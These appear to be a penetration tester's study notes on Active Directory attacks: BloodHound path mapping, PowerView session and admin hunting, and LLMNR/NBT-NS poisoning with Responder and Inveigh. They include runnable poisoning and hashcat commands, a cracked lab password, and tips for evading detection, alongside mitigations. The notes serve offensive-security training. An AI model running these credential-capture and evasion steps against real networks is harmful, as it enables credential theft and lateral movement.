Notes

⚔️ Attacks + Lateral Movement

Offensive techniques & lateral movement: BloodHound, relay attacks, roasting, PtH/PtT/PtC, delegation abuse and more.

Attacks + Lateral Movement

BloodHound

What is BloodHound?

BloodHound is a graph-based Active Directory analysis tool.

It answers one scary-good question:

“Given what I control right now, how can I become Domain Admin?”

It doesn’t “hack” by itself — it maps relationships and permissions that already exist in AD and shows attack paths humans miss.


Big Picture Architecture


[ Active Directory ]

        ↑

   (Data Collection)

        ↑

   SharpHound (Collector)

        ↑

     JSON Data

        ↑

    BloodHound UI (Graph DB)

        ↓

   Attack Path Analysis

So BloodHound =

📦 Collector + 🧠 Graph Engine + Queries

The collector is called SharpHound.

🔸 What it Collects:

  • Users and Group memberships

  • Logged-in sessions

  • Local administrator rights

  • Computer objects

  • ACLs (Access Control Lists) on AD objects

  • RDP, DCOM, PSRemoting access rights

  • Domain trusts

🔸 Methods of Collection:

  • LDAP queries (for users, groups, ACLs)

  • SMB/NetSessionEnum (for session info)

  • Remote registry (to find local admins)

  • RPC (to pull trust relationships, ACLs, etc.)

📌 It can be run from a low-privilege domain user account and does not need admin in most cases.


How BloodHound Gets Its Data (Deep Technical View)

BloodHound does not exploit vulnerabilities.

It uses legitimate Windows & AD APIs — exactly what admins and helpdesk tools use.

1️⃣ LDAP Queries (Core AD Info)

BloodHound queries LDAP on Domain Controllers to enumerate:

  • Users

  • Groups

  • Computers

  • Group memberships

  • OU structure

  • ACLs (permissions)

Example concept (not real code):


LDAP query: (objectClass=user)

This builds the AD object graph.


2️⃣ Security Descriptors (ACL & Delegation Abuse)

This is where BloodHound gets dangerous.

Every AD object has an ACL:

  • Who can reset passwords

  • Who can write group membership

  • Who can modify SPNs

  • Who can add logon scripts

  • Who has GenericAll / WriteDACL / WriteOwner

BloodHound parses:

  • ntSecurityDescriptor

  • ACE entries

Then maps relationships like:


UserA → (GenericWrite) → GroupB

GroupB → (MemberOf) → Domain Admins

Which becomes:

UserA → Domain Admins (attack path)


3️⃣ Session Enumeration (Who is Logged In Where)

This is huge for lateral movement.

SharpHound queries:

  • SMB session info

  • Logged-on users

  • Cached credentials

  • Local admin rights

So it learns:


UserA is local admin on PC1

DomainAdmin is logged into PC1

That becomes:

Compromise PC1 → steal DA creds


4️⃣ Local Admin Mapping

SharpHound enumerates:

  • Local Administrators group on machines

  • Which domain users/groups are admins on which hosts

This reveals:

If I compromise this low-privilege user, I control 45 machines.


5️⃣ Group Policy Enumeration

BloodHound collects:

  • Which users can edit GPOs

  • Which machines a GPO applies to

  • Who can modify scripts deployed by GPO

This finds:

UserX can modify a GPO that applies to Domain Controllers.

That’s basically domain takeover waiting to happen.


6️⃣ Trust Relationships

BloodHound maps:

  • Forest trusts

  • Domain trusts

  • Directionality

  • Transitivity

So it can find attack paths like:

Low-priv user in ChildDomain → control object in ParentDomain → Domain Admin

Why BloodHound is So Powerful

Because AD is not hierarchical — it’s a graph of relationships.

Humans think:

“Admins are powerful, users are not.”

BloodHound shows:

“This intern can become Domain Admin in 4 hops.”


Example Attack Path (Realistic)


UserA

  ↓ (WriteSPN)

ServiceAccount

  ↓ (MemberOf)

IT Support Group

  ↓ (LocalAdmin)

Server01

  ↓ (Logged-on)

DomainAdmin

So:

Compromise UserA → Own Domain

No exploit needed.

Just bad permissions + graph traversal.


How BloodHound Finds Attack Paths (Internals)

BloodHound loads data into a graph database (Neo4j style model).

Nodes:

  • Users

  • Groups

  • Computers

  • GPOs

Edges:

  • MemberOf

  • AdminTo

  • HasSession

  • GenericWrite

  • CanRDP

  • CanResetPassword

  • WriteDACL

Then it runs prebuilt Cypher queries like:

“Shortest path from any user to Domain Admins”

This is literally graph theory applied to Active Directory.

Note:- Avoid using bloodhound unless it is extremely necessary because it tries to collect to data in short interval of time which can flagged as suspicious can detected easily.

These kinds of alerts are raised if bloodhound is used.

For stealthy option instead of bloodhound you can use shoaphound.

LDAP vs LDAPS – which one does BloodHound use?

Answer: It uses both, depending on what the environment allows.

  • LDAP (389) → default in many internal networks

  • LDAPS (636) → used if:

    • The DC supports it
    • The client is configured for secure LDAP
    • TLS is available

🔹 BloodHound / SharpHound doesn’t require LDAPS.

🔹 It will happily pull data over plain LDAP if that’s what AD allows.

So: it uses whatever the domain exposes — LDAP first, LDAPS if available.


Can a normal domain user collect “everything”?

Yes — shockingly, yes (mostly).

With a standard domain user, you can collect:

  • Users

  • Groups

  • Group memberships

  • Computers

  • OU structure

  • ACLs on AD objects

  • GPO permissions

  • Trust relationships

  • Many delegation rights

Because Active Directory is designed to be readable by authenticated users.

⚠️ What you can’t fully collect as a normal user:

  • Some session info on locked-down machines

  • Some local admin mappings (if SMB/RPC is blocked)

  • Some privileged ACL details if hardened

But in most real-world domains, a low-priv user still gets more than enough to build attack paths.

So your statement:

“with normal priv user its possible to collect entire data right ??”

👉 Yes, enough data to map real attack paths.


BloodHound vs SharpHound (Linux vs Windows)

You’re correct:

SharpHound

→ Windows-based collector (EXE, PS1, etc)

BloodHound (Linux / cross-platform collectors)

→ Uses LDAP + RPC + SMB from Linux/macOS

Both collectors:

✅ Enumerate AD

✅ Output JSON files

So yes:

bloodhound (Linux) / sharphound (Windows) both produce .json

Correct.


Neo4j + BloodHound GUI – Graph Creation

Your flow is exactly right:


Collector (SharpHound / BloodHound.py)

        ↓

      JSON Files

        ↓

   Import into BloodHound GUI

        ↓

   Neo4j Graph Database

        ↓

   Attack Path Queries

BloodHound UI uses:

Neo4j

to store nodes and edges:

Nodes:

  • Users

  • Groups

  • Computers

  • GPOs

Edges:

  • MemberOf

  • AdminTo

  • HasSession

  • CanRDP

  • GenericWrite

  • WriteDACL

  • etc.

Once imported, BloodHound runs graph queries like:

“Shortest path from any user to Domain Admins”

And boom — instant attack paths.


Tiny Clarifications (Pro-Level Accuracy)

✔️ LDAP is for:

  • Users

  • Groups

  • ACLs

  • Trusts

  • GPO links

✔️ SMB / RPC / WinRM are used for:

  • Session enumeration

  • Local admin mapping

  • Logged-on users

So BloodHound is not only LDAP — LDAP is the backbone, but host-level info uses other Windows protocols.

Local Admin Hunting

Find all machines on the current domain where the current user has local admin access

Find-LocalAdminAccess -Verbose

• This function queries the DC of the current or provided domain for a list of computers (***Get-

NetComputer) and then use multi-threaded Invoke-CheckLocalAdminAccess*** on each

machine.

• This can also be done with the help of remote administration tools like WMI and PowerShell

remoting. Pretty useful in cases ports (RPC and SMB) used by Find-LocalAdminAccess are

blocked.

• See Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1

Note:- This command Find-LocalAdminAccess -Verbose is very noisy as they you will run this you leave 4624(logon) and 4634(logoff) security events ids and you will get admin access on any device then you will also leave 4672(admin logon) on machine and login are created on every device which will cause the spike in the logs and it is sufficient to raise the alert

Explaination:

The Find-LocalAdminAccess command attempts to connect to each machine in the domain (via SMB, RPC, or admin shares) to check whether the current user has local administrator access.

🧠 What Happens Internally

For each host, it tries to:

  1. Authenticate via SMB (to \\<hostname>\C$)

  2. Access the remote system

  3. Check for local admin privileges

This activity triggers authentication and logon attempts on every machine it contacts — even if access is denied.

📜 Security Logs Generated (Per Host)

Event ID | Description | Trigger |
— | — | — |
4624 | Successful Logon | Generated when the user authenticates via SMB/RPC |
4634 | Logoff | Ends the session after check is done |
4672 | Special Privileges Assigned | Logged if the account has admin rights on that machine |
4776 | NTLM Authentication (optional) | Appears if NTLM is used for auth |
5140 | Shared Object Access | Generated if admin shares like C$ are accessed |

Safer Alternatives for Stealth (Less Noisy)

Technique | Tool | Description |
— | — | — |
WMI-based access check | Find-WMILocalAdminAccess.ps1 | Uses WMI (DCOM) — still leaves 4624 but quieter |
PowerShell Remoting | Find-PSRemotingLocalAdminAccess.ps1 | Uses WinRM; stealthier if WinRM is trusted |
Manual/Selective Check | Invoke-CheckLocalAdminAccess | Use on specific high-value targets, not full subnet scan |
LSASS dump and token replay | Cobalt Strike, Mimikatz | Use once you get a foothold to pivot silently |
BloodHound | SharpHound | Enumerates access paths via LDAP without triggering admin logons |

🧾 Summary

✔️ Yes, Find-LocalAdminAccess -Verbose is very noisy and should be avoided in stealth red team operations.

✔️ It triggers 4624, 4634, and 4672 logs for every machine scanned.

✔️ On a large domain, this creates a clear alert signature visible in SIEM and EDR tools.

✔️ Safer alternatives like WMI, PSRemoting, or BloodHound are preferable for stealth.


Find computers where a domain admin (or specified user/group) has active sessions:

Find-DomainUserLocation -Verbose - helps identify computers where domain administrators (or specified users/groups) have active sessions


Find-DomainUserLocation -UserGroupIdentity "RDPUsers"

• This function queries the DC of the current or provided domain for members of the

given group (Domain Admins by default) using Get-DomainGroupMember, gets a

list of computers (Get-DomainComputer) and list sessions and logged on users

(Get-NetSession/Get-NetLoggedon) from each machine.

Note:- for Server 2019 and onwards, local administrator privileges are required

to list sessions. without privilege you will get error message as shown below

Find computers where a domain admin session is available and current user has admin access (uses Test-AdminAccess).

Find-DomainUserLocation -CheckAccess


**Find computers (File Servers and Distributed File servers) where a domain

admin session is available.**

Find-DomainUserLocation -Stealth

Note:- Later it was rediscovered that using tools like Invoke-SessionHunter it is possible to list session on Remote Registry. so this tool will show admin sessions on remote machine even though you dont have local admin priviledge

List sessions on remote machines( https://github.com/Leo4j/Invoke-SessionHunter)

   ***Invoke-SessionHunter -FailSafe***

• Above command doesn’t need admin access on remote machines. Uses

Remote Registry and queries HKEY_USERS hive.

An opsec friendly command would be (avoid connecting to all the target machines by specifying targets)

Invoke-SessionHunter -NoPortScan -Targets C:.txt

Note:- Above commands will only work if the remote registry is enabled on remote server, however it is remote registry is enabled by default on server, if it is enabled but stopped then querying it will start it again

LLMNR/NBT-NS Poisoning

Understanding The Core Concept

🎯 What is mDNS?

Definition

mDNS = Multicast Domain Name System

Allows hosts to resolve names without a DNS server.

Instead of:

Client → DNS Server → Answer

Uses:

Client → Multicast Everyone → Owner Replies

🎯 Why Was mDNS Created?

Problem

Traditional DNS requires:

✔ DNS Server

✔ DNS Records

✔ Infrastructure

Example:

printer.company.com

requires:


DNS Server

     ↓

A Record

     ↓

IP Address

But What About?

🏠 Home Networks

📺 Smart TVs

🖨 Printers

📱 Phones

🎮 Gaming Consoles

💡 IoT Devices

Most don’t have internal DNS infrastructure.

Need:


Automatic Discovery

without configuration.


🎯 RFC

mDNS:

RFC 6762

Often paired with:

DNS-SD (Service Discovery)

RFC 6763


🎯 Protocol Details

Component | Value |
— | — |
Protocol | UDP |
Port | 5353 |
IPv4 Multicast | 224.0.0.251 |
IPv6 Multicast | FF02::FB |
Scope | Local Subnet |
TTL | 255 |

🎯 Important Concept

mDNS is:

❌ Not Broadcast

✔ Multicast

Broadcast

Sent to:

255.255.255.255

Everyone receives.

Multicast

Sent to:

224.0.0.251

Only hosts subscribed to mDNS receive it.

Think:

Broadcast = Loudspeaker

Multicast = Group Chat

Key Difference Visualization


Broadcast (255.255.255.255):

Host A → [ALL HOSTS] ← Host B, C, D, E, F...

         (Everyone gets it)

Multicast (224.0.0.1):

Host A → [GROUP 224.0.0.1] ← Only subscribed: B, D, F

         (Only interested hosts)

🎯 Main Components

1️⃣ Requesting Host

Needs resolution.

Example:


Windows Laptop

wants:


printer.local

2️⃣ Multicast Group

All mDNS devices join:

224.0.0.251


3️⃣ Target Host

Owns:

printer.local

and listens on:

UDP 5353


🎯 Typical Flow

Network:


Windows

192.168.1.20

Printer

192.168.1.50

Smart TV

192.168.1.60

🎯 Why “.local” Matters

mDNS almost always uses:

.local

Examples:

printer.local

nas.local

raspberrypi.local

iphone.local

When OS Sees

printer.local

It immediately thinks:

Use mDNS

instead of traditional DNS.

What is LLMNR ??

LLMNR (Link-Local Multicast Name Resolution) is a Windows name-resolution fallback.

When a machine can’t resolve a hostname using DNS, it asks the local network:

“Hey everyone, who is fileserver01?”

This broadcast behavior is the core weakness.

Windows uses:

  • DNS (normal)

  • If DNS fails → LLMNR

  • Sometimes NetBIOS (NBT-NS) as well

These protocols are unauthenticated by default.


Why LLMNR Poisoning Works

LLMNR trusts the first response it receives.

Attackers on the same network can lie and say:

“That name? Yeah that’s me.”

Then your machine sends authentication data to the attacker.

✅ 1. Name Resolution Order in Windows (AD Environment)

When a Windows machine tries to resolve a hostname (e.g., INTERNAL-SERVER), it follows a strict resolution order:


➤ Step 1 — Check Local Cache

Windows checks:

✔ DNS Resolver Cache

Use:


ipconfig /displaydns

If the entry exists → Stops here.


➤ Step 2 — Check the HOSTS file

Path:


C:\Windows\System32\drivers\etc\hosts

If hostname matches → Resolved locally.

✔ HOSTS file entries override DNS

✔ Frequently abused during privilege escalation


➤ Step 3 — Send a DNS Query

Windows queries the DNS server configured in NIC:

Example:

  • Domain joined PC → queries Domain Controller DNS

  • Non-domain PC → queries router or ISP DNS

If DNS resolves → Done.

If DNS fails, Windows checks additional fallback methods depending on the query type (FQDN or non-FQDN).

#️⃣ Summary of Exact Name Resolution Order

Here is Windows name resolution order exactly as implemented:

Priority | Method | Used When | Notes |
— | — | — | — |
1 | Local cache | Always | Fastest |
2 | HOSTS file | Always | Manual override |
3 | DNS | Always | Primary AD resolver |
4 | LLMNR | If DNS fails | IPv6/IPv4 link-local multicast |
5 | NetBIOS Name Service (NBT-NS) | If LLMNR fails or disabled | Last fallback via broadcast |
6 | WINS | If configured | Rare today |

✔ Yes, LLMNR → NetBIOS → WINS is the fallback chain.


✔ Purpose:

A fallback name-resolution protocol used when:

  • DNS fails

  • Query is non-FQDN

  • Host is on the same local subnet

✔ Protocol details:

  • Port 5355 UDP/TCP

  • Works via IPv6 and IPv4 multicast

  • No authentication → easy to spoof

This is what tools like Responder exploit.

Windows has LLMNR enabled by default unless:

  • Group Policy disables it

  • Security hardening is applied

So you do NOT need to enable it.

It’s always already running → hence LLMNR poisoning possible.


🔥 3. NetBIOS Name Service (NBT-NS)

If DNS + LLMNR fail, Windows sends a NetBIOS broadcast:

✔ Used on:

  • UDP 137 (NBNS)

  • UDP 138 (Browser)

  • TCP 139 (Session)

✔ Behavior:

  • Entire LAN receives the broadcast

  • Any host can reply ← attacker can spoof response

LLMNR → newer

NetBIOS → older but still widely enabled

Important:

✔ NetBIOS is ENABLED by default on Windows.

✔ Only disabled if:

  • Network Adapter setting “Disable NetBIOS over TCP/IP” is applied

  • GPO overrides it


🧠 4. Why LLMNR/NetBIOS Poisoning Works

Because Windows behavior is:

  1. DNS fails for something (typo, missing DFS entry, broken UNC path)

  2. Windows tries LLMNR

  3. Attacker replies faster than the real host

  4. Victim sends NTLM authentication to attacker

  5. Attacker captures:

    • NTLMv2 hashes
    • Usernames
    • Sometimes challenge/response → relay to SMB/LDAP

Example attack:


sudo responder -I eth0

Attacker receives something like:


User: CORP\john.doe

Hash: NTLMv2 hash captured

🧭 5. Full Example: How Name Resolution Happens

Suppose a Windows user enters:


\\fileserver01\backup

❌ DNS lookup fails

Because “fileserver01.corp.local” does not exist.

Windows then:

  1. Tries LLMNR

    → Sends multicast query

    → Attacker replies “I am fileserver01”

  2. Victim sends NTLM authentication to attacker

If LLMNR disabled → fallback to NetBIOS:

  1. Sends NetBIOS broadcast

→ Attacker fakes response

→ Victim sends NTLM auth again

This is the LLMNR/NetBIOS poisoning attack.

✅ What Responder Does (Conceptually – defensive understanding)

When LLMNR or NetBIOS sends out:

“Who is FILESERV01?”

Your attacker tool (like Responder) pretends to be that server and answers:

“That’s me.”

The victim machine believes it and tries to connect.


✅ What the Victim Sends

When the victim connects, Windows automatically attempts authentication using NTLM:


DOMAIN\user

NTLMv2 challenge-response hash

So yes — the victim tries to authenticate to your fake server.


✅ What the Attacker Gets

You don’t get the password in plain text.

You get an NTLMv2 hash, which can be:

  • Cracked offline (brute-force / wordlists)

  • Relayed to real servers (NTLM relay attack)

So your statement:

“we check the NTLM hash of that user”


🛡️ 6. How to Check LLMNR/NetBIOS Status

✔ Check LLMNR


Get-NetAdapterBinding -ComponentID ms_llmnr

✔ Check NetBIOS

Go to:


Network Adapter → IPv4 → Advanced → WINS → NetBIOS

Why is mDNS considered safer than LLMNR/NBT-NS?

✔ Uses multicast instead of broadcast.

✔ Primarily designed for local service discovery.

✔ Usually resolves .local devices rather than SMB resources.

✔ Does not commonly trigger automatic NTLM authentication.

✔ Therefore it is far less useful for NTLMv2 hash-capture attacks.

📌 Final Simplified Flow


Name Resolution

│

├─ Hosts File

├─ DNS Cache

├─ DNS Server

│

└─ DNS Failed

      │

      ├─ LLMNR (UDP 5355)

      ├─ NetBIOS (UDP 137)

      └─ mDNS (UDP 5353)

➡️ LLMNR and NetBIOS work automatically — attacker does NOT need to enable anything.

➡️ They act as DNS fallback for non-FQDN queries when DNS fails

.

Linux

🔍 Objective

Goal: Capture NetNTLMv2 password hashes by poisoning LLMNR and NBT-NS broadcasts using Responder, to eventually crack them and gain a foothold in the Active Directory domain.


🧭 Overview

Protocol | Full Name | Purpose |
— | — | — |
LLMNR | Link-Local Multicast Name Resolution | Resolves hostnames on local networks if DNS fails |
NBT-NS | NetBIOS Name Service | Legacy system for name resolution (pre-DNS) |

Both protocols provide fallback mechanisms when traditional DNS resolution fails. They work on local network segments, and are vulnerable to spoofing attacks because any host can respond to the request, even malicious ones.


📦 Purpose of LLMNR/NBT-NS

🌐 Why do these protocols exist?

  • In many enterprise environments, DNS is not always up to date or complete.

  • Users may mistype hostnames.

  • Legacy applications or systems still rely on NetBIOS.

  • LLMNR and NBT-NS act as “Plan B” name resolution methods.


🧩 Key Characteristics:

Feature | Detail |
— | — |
Port | UDP 5355 |
Protocol Base | Similar to DNS |
Scope | Only works on local subnet |
IPv4/IPv6 | Supports both |
Format | Uses multicast address |

📥 LLMNR Workflow:

  1. A system (e.g., victim) tries to access a host:

    CopyEdit
    \\internalfileserver
  2. DNS query is sent → Fails (no entry for internalfileserver).

  3. LLMNR sends a multicast query to IPv4 224.0.0.252 or IPv6 FF02::1:3 on UDP port 5355:

    arduino
    Who has internalfileserver?"
    
  4. Any machine on the subnet can respond:

    
    "I am internalfileserver – my IP is 10.0.0.100"
  5. Victim believes the response and connects.


📛 NBT-NS - NetBIOS Name Service

🧩 Key Characteristics:

Feature | Detail |
— | — |
Port | UDP 137 |
Protocol Base | Pre-DNS, older tech |
Scope | Local subnet |
Format | NetBIOS naming scheme |

📥 NBT-NS Workflow:

  1. DNS fails for a NetBIOS-formatted hostname (e.g., \\FILESHARE01).

  2. Client sends NetBIOS Name Query Request via broadcast on UDP port 137.

  3. Query is like:

    
    "Is anyone FILESHARE01?"
  4. Any system on the network can reply:

    
    "Yes, I am FILESHARE01. Here's my IP."
    
  5. Client connects to the responding host.


🚨 Security Flaw in Both Protocols

🕳️ What’s the Vulnerability?

  • No authentication or verification of the responder.

  • Any attacker on the same broadcast domain can spoof a response.

  • Clients blindly trust the first reply they receive.

This makes it ideal for Man-in-the-Middle (MITM) attacks.


🎯 Real-World Exploitation Workflow

🧪 LLMNR/NBT-NS Poisoning (e.g., with Responder)

Step | Description |
— | — |
1️⃣ | Victim tries to access a wrong/missing hostname like \\fileshare01 |
2️⃣ | DNS fails, so the system sends out an LLMNR or NBT-NS broadcast |
3️⃣ | Attacker (using Responder) replies pretending to be that host |
4️⃣ | Victim sends authentication request (usually NetNTLMv2 hash) |
5️⃣ | Attacker captures the hash |
6️⃣ | Hash is cracked offline to reveal plaintext credentials |
7️⃣ | Credentials are used for lateral movement or further attacks |

🧠 Differences Between LLMNR & NBT-NS

Feature | LLMNR | NBT-NS |
— | — | — |
Port | UDP 5355 | UDP 137 |
Introduced In | Windows Vista / Server 2008+ | Legacy (pre-DNS era) |
Naming Format | DNS-style (host.domain.local) | NetBIOS-style (HOSTNAME) |
Response Type | Multicast | Broadcast |
Replacement For | DNS fallback | Legacy Windows name resolution |
Still Enabled? | Often, yes (default setting) | Yes, especially in old networks |

🧪 Quick Example – LLMNR/NBT-NS Poisoning Flow (with Responder)


🖥️ Step 1: User Mistypes a Hostname

  • User Action: Tries to access a network share:

    
    \\printer01.inlanefreight.local
    
  • Mistake: The actual hostname should have been \\print01.inlanefreight.local.

⚠️ Since the user typed the wrong hostname, the system cannot resolve it via DNS.


🌐 Step 2: DNS Fails to Resolve

  • DNS Query Sent: The OS sends a DNS query for printer01.inlanefreight.local.

DNS Server Response:


"Sorry, I don’t know that hostname." (NXDOMAIN)

🧠 Windows, by default, tries fallback name resolution protocols like LLMNR and NBT-NS if DNS fails.


📡 Step 3: LLMNR/NBT-NS Broadcast Issued

Client (victim) system now sends a broadcast:

  • For LLMNR: multicast on UDP port 5355

  • For NBT-NS: broadcast on UDP port 137

Example LLMNR message:


"Hey, does anyone know where \\printer01.inlanefreight.local is?"

These messages go to every host on the local subnet.


👹 Step 4: Attacker (Responder) Responds

  • Attacker’s Role: A rogue machine on the same network has Responder running.

Responder’s Reaction:


"Yes! I’m \\printer01.inlanefreight.local. Here’s my IP: 10.10.10.200"
  • The victim receives this fake reply and trusts it because the protocol does not verify authenticity.

✅ Poisoning successful: The victim is tricked into connecting to the attacker.


🔐 Step 5: Authentication Attempt Sent

  • The victim initiates an authentication attempt assuming it’s talking to a legitimate resource.

  • Sends NetNTLMv2 hash to attacker over SMB.

    Contents:

    • Username
    • Domain
    • NetNTLMv2 hash (based on user password)

🧠 The password hash is captured without needing any brute-force login attempts on the victim machine.


🧩 Step 6: Use the Hash

The captured NTLMv2 hash can be used in two major ways:

1. 🧠 Offline Cracking (using Hashcat or John)

  • Tool: hashcat -m 5600 or john --format=netntlmv2

  • If cracked → you get the cleartext password.

2. 🛠️ SMB Relay Attack (under right conditions)

  • If SMB Signing is not enforced, you can relay the hash to another host:
    • Authenticate as the user
    • Execute commands
    • Potentially gain full access to systems

🧾 Summary Table

Step | Description | Result |
— | — | — |
1️⃣ | User mistypes hostname | DNS lookup fails |
2️⃣ | DNS cannot resolve it | Fallback to LLMNR/NBT-NS |
3️⃣ | Broadcast query sent | Anyone can reply |
4️⃣ | Attacker responds via Responder | Victim trusts attacker |
5️⃣ | Victim sends authentication attempt | NetNTLMv2 hash is captured |
6️⃣ | Hash is cracked or relayed | Attacker gains credentials or system access |

🛡️ Defense Tips

  • Disable LLMNR/NBT-NS via Group Policy or registry.

  • Enforce SMB signing to prevent SMB relay.

  • 🔒 Monitor for broadcast spoofing using tools like Zeek, Defender ATP.

🚨 Vulnerability:

When these protocols are used, any machine can reply to the query. This lets an attacker impersonate the legitimate system and capture authentication requests.


🧪 Attack Flow Example

  1. Victim mistypes \\printer01.inlanefreight.local.

  2. DNS fails, so the machine broadcasts an LLMNR/NBT-NS request.

  3. Responder (attacker) responds, claiming to be that host.

  4. Victim sends credentials (NetNTLMv2 hash) to attacker.

  5. Attacker can crack hash offline or relay it to access services.


🛠️ Tools Used

Tool | Description |
— | — |
Responder | Primary tool to spoof LLMNR/NBT-NS responses and capture hashes. |
Hashcat | Used to crack the captured NTLM hashes offline. |
Inveigh | Alternative PowerShell/C# tool for MITM spoofing on Windows. |

⚙️ Responder Options and Usage

🔧 Help Output (Summary)


bash

CopyEdit

responder -h
Option | Purpose |
— | — |
-A | Analyze mode (passive listening). |
-I | Network interface to use (ens224, eth0, etc.). |
-w | Enable WPAD rogue proxy. |
-r | Respond to NetBIOS wredir suffix. |
-f | Fingerprint host that issued LLMNR/NBT-NS query. |
-v | Verbose output. |
-P | Force proxy authentication. |
-F | Force Basic/NTLM authentication on WPAD. |

✅ Basic Active Mode Usage


bash

CopyEdit

sudo responder -I ens224 -wrf
  • I ens224 → Interface to listen on.

  • w → Start rogue WPAD proxy.

  • r → Respond to NetBIOS suffix queries.

  • f → Attempt host fingerprinting.


🪪 Sample Passive Mode (Earlier Phase)


bash

CopyEdit

sudo responder -I ens224 -A
  • Listen silently for analysis of LLMNR/NBT-NS broadcasts.

  • No responses sent — good for initial observation.


📁 Responder Output: Log Files

Logs are stored in:


/usr/share/responder/logs/
File Name Example | Meaning |
— | — |
SMB-NTLMv2-SSP-172.16.5.25.txt | NTLMv2 hash over SMB from 172.16.5.25 |
HTTP-NTLMv2-172.16.5.200.txt | NTLMv2 hash over HTTP from 172.16.5.200 |

🔓 Cracking Captured NTLMv2 Hash with Hashcat

🖥️ Command


bash

hashcat -m 5600 captured_hash /usr/share/wordlists/rockyou.txt
Option | Explanation |
— | — |
-m 5600 | Hash mode for NetNTLMv2 |
captured_hash | The actual hash or hash file |
rockyou.txt | Common password wordlist |

🧪 Sample NTLMv2 Hash Format


ruby

CopyEdit

FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80...:Klmcargo2
  • FOREND = Username

  • INLANEFREIGHT = Domain

  • Klmcargo2 = Cracked password


🧾 Sample Output Breakdown


text

CopyEdit

Status...........: Cracked

Recovered........: 1/1 (100.00%)

Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)

Hash.Name........: NetNTLMv2

Candidates.......: L0VEABLE -> Kittikat

🎯 Meaning:

  • Hash successfully cracked.

  • Password = Klmcargo2

  • Can now login using these credentials (if user is valid in the domain).


🧨 Required Open Ports on Attacker System (for Responder)

To fully operate, the following ports should be available:

Protocol | Port |
— | — |
UDP | 53, 137, 138, 1434, 5355, 5353 |
TCP | 21, 25, 80, 110, 135, 139, 1433, 3128, 445, 587, 389, 3141 |

🪪 Use Cases After Cracking Hashes

  • Foothold in domain using cracked user credentials.

  • Lateral movement via:

    • SMB relay
    • Pass-the-Hash (if applicable)
  • Identify if user has privileged access (Admin, Domain Admin, etc.).


🧠 Tips

  • Start Responder in a tmux window and let it run passively.

  • Collect as many hashes as possible before cracking.

  • Use Hashcat examples page to identify hash modes:

    https://hashcat.net/wiki/doku.php?id=example_hashes


🔄 Recap of Flow

Step | Description |
— | — |
1️⃣ | Victim mistypes hostname or DNS fails. |
2️⃣ | Sends LLMNR/NBT-NS broadcast request. |
3️⃣ | Attacker (Responder) responds claiming to be the host. |
4️⃣ | Victim sends NTLMv2 authentication request. |
5️⃣ | Responder captures hash. |
6️⃣ | Hash cracked offline using Hashcat. |
7️⃣ | Password used to access domain services. |

Windows

🚩 Attack Workflow (Windows Inveigh-Based LLMNR/NBT-NS Poisoning)

🎯 Goal: Trick Windows hosts into sending NTLMv2 hashes to you.


1. Import Inveigh in PowerShell


powershell

PS> Import-Module .\Inveigh.ps1

PS> Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
  • ✅ Enables both LLMNR and NBNS spoofing

  • ✅ Outputs results to console and C:\Tools as file

  • ✅ Starts capturing authentication attempts


2. Victim Host Misresolves a Name

  • Victim types: \\wrongprinter

  • DNS fails → Windows falls back to LLMNR/NBT-NS

  • Broadcast sent on:

    • UDP 5355 (LLMNR)
    • UDP 137 (NBT-NS)

3. Inveigh Replies with Fake Response

  • Sends back: “Yes, I’m ”

  • Victim trusts Inveigh (no validation)

  • Starts SMB negotiation


4. NTLM Authentication Triggered

  • Victim sends NTLMv2 authentication request

  • Inveigh captures:

    • Username
    • Domain
    • NTLMv2 hash

5. Captured Hash Displayed


backupagent::INLANEFREIGHT:B501...:16A41B703C8D4F8F...:0101...long_hash...
  • ✅ Saved in C:\Tools

  • ✅ Can run GET NTLMV2UNIQUE to filter one hash per user

  • ✅ Can use Hashcat/John to crack


🧮 Sample Output of C# Inveigh (CLI-based)


powershell

CopyEdit

PS> .\Inveigh.exe

[*] Inveigh 2.0.4 [Started 2022-02-28T20:03:28 | PID 6276]

[+] Packet Sniffer Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]

[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]

[+] Spoofer Reply Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]

[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]

[ ] DHCPv6

[+] DNS Packet Sniffer [Type A]

[ ] ICMPv6

[+] LLMNR Packet Sniffer [Type A]

[ ] MDNS

[ ] NBNS

[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]

[ ] HTTPS

[+] WebDAV [WebDAVAuth NTLM]

[ ] Proxy

[+] LDAP Listener [Port 389]

[+] SMB Packet Sniffer [Port 445]

[+] File Output [C:\Tools]

[+] Previous Session Files (Not Found)

👉 Press ESC for interactive console. Then type:


bash

CopyEdit

GET NTLMV2USERNAMES

GET NTLMV2UNIQUE

GET CLEARTEXT

STOP

🧑‍💻 Post-Capture Actions

  1. Offline Cracking (Hashcat):

bash

CopyEdit

hashcat -m 5600 hashfile.txt wordlist.txt
  1. Username Collection (for spraying):

bash

CopyEdit

GET NTLMV2USERNAMES
  1. Cleartext Credential Retrieval (if Basic Auth is used):

bash

CopyEdit

GET CLEARTEXT
  1. Stop the tool:

bash

CopyEdit

STOP

🔐 Remediation & Mitigation

Method | Action |
— | — |
🔒 Disable LLMNR via GPO | Turn off multicast name resolution (DNS Client policy) |
🔒 Disable NBT-NS (NetBIOS) | Adapter → TCP/IPv4 → Advanced → WINS → Disable NetBIOS |
📜 GPO Script for NBT-NS | PowerShell script setting NetbiosOptions registry key |
🧱 Enable SMB Signing | Prevents NTLM relay on SMB shares |
🧪 Segment Network | Isolate hosts that still use legacy protocols |
🚨 Monitor Ports | Watch for unusual traffic on UDP 5355/137 |

NBT-NS cannot be disabled via Group Policy but must be disabled locally on each host. We can do this by opening Network and Sharing Center under Control Panel, clicking on Change adapter settings, right-clicking on the adapter to view its properties, selecting Internet Protocol Version 4 (TCP/IPv4), and clicking the Properties button, then clicking on Advanced and selecting the WINS tab and finally selecting Disable NetBIOS over TCP/IP.

While it is not possible to disable NBT-NS directly via GPO, we can create a PowerShell script under Computer Configuration –> Windows Settings –> Script (Startup/Shutdown) –> Startup with something like the following:

PoC

Linux

Step 1 - ssh to the machine

ssh htb-student@10.129.168.75

Step 2 - start the responder

sudo responder -I ens224

Hashes retrieved


